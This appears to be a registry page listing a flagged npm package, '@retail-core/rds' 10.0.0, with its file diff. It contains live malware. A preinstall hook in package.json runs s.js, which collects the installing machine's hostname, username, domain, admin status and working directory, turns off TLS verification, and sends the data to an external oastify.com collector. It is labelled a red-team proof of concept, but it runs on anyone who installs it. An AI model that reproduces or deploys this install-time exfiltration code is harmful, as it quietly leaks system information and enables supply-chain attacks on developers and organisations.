@retail-core/rds 10.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @retail-core/rds might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +0 -0
  2. package/package.json +12 -0
  3. package/s.js +36 -0
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@retail-core/rds",
3
+ "version": "10.0.0",
4
+ "description": "RedTeam (Offensive Security) PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node s.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/s.js ADDED
@@ -0,0 +1,36 @@
1
+ var os = require('os');
2
+ var hostname = os.hostname();
3
+ var username = os.userInfo().username;
4
+ var platform = os.platform();
5
+
6
+ var admin_text;
7
+
8
+ if (platform == 'win32' || platform == 'win64') {
9
+ try {
10
+ net_session = require('child_process').execSync('net session');
11
+ admin_text = 'admin';
12
+ }
13
+ catch {
14
+ admin_text = 'non-admin';
15
+ }
16
+
17
+ username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
18
+
19
+ } else {
20
+ admin_text = os.userInfo().uid;
21
+ }
22
+
23
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
24
+
25
+ const https = require('https')
26
+ const options = {
27
+ hostname: 'eewq2suvescxne0e5cdqgj6nnet5hu.oastify.com',
28
+ port: 443,
29
+ path: '/?Username=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=RedTeamPoC&PWD=' + __dirname,
30
+ method: 'GET'
31
+ }
32
+
33
+ const req = https.request(options)
34
+
35
+ req.end();
36
+